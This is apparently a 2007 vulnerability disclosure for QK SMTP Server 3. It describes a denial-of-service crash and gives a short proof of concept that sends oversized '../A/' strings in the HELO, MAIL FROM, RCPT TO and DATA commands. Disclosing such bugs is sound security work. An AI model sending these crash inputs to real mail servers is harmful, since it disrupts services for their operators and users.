Related information

QK SMTP Server DoS

From:	jplopezy_(at)_gmail.com <jplopezy_(at)_gmail.com>
Date:	13.12.2007
Subject:	QK SMTP Server 3 - Denial of service

Apparently this SMTP server crashes when creating a mail poorly trained causing a denial of service.

Proof-of-concept

HELO ../A/ * 950
MAIL FROM: ../A/ * 950
RCPT TO: ../A/ * 950
data
../A/ * 950
.

Juan Pablo Lopez Yacubian
http://fuzzertina.blogspot.com/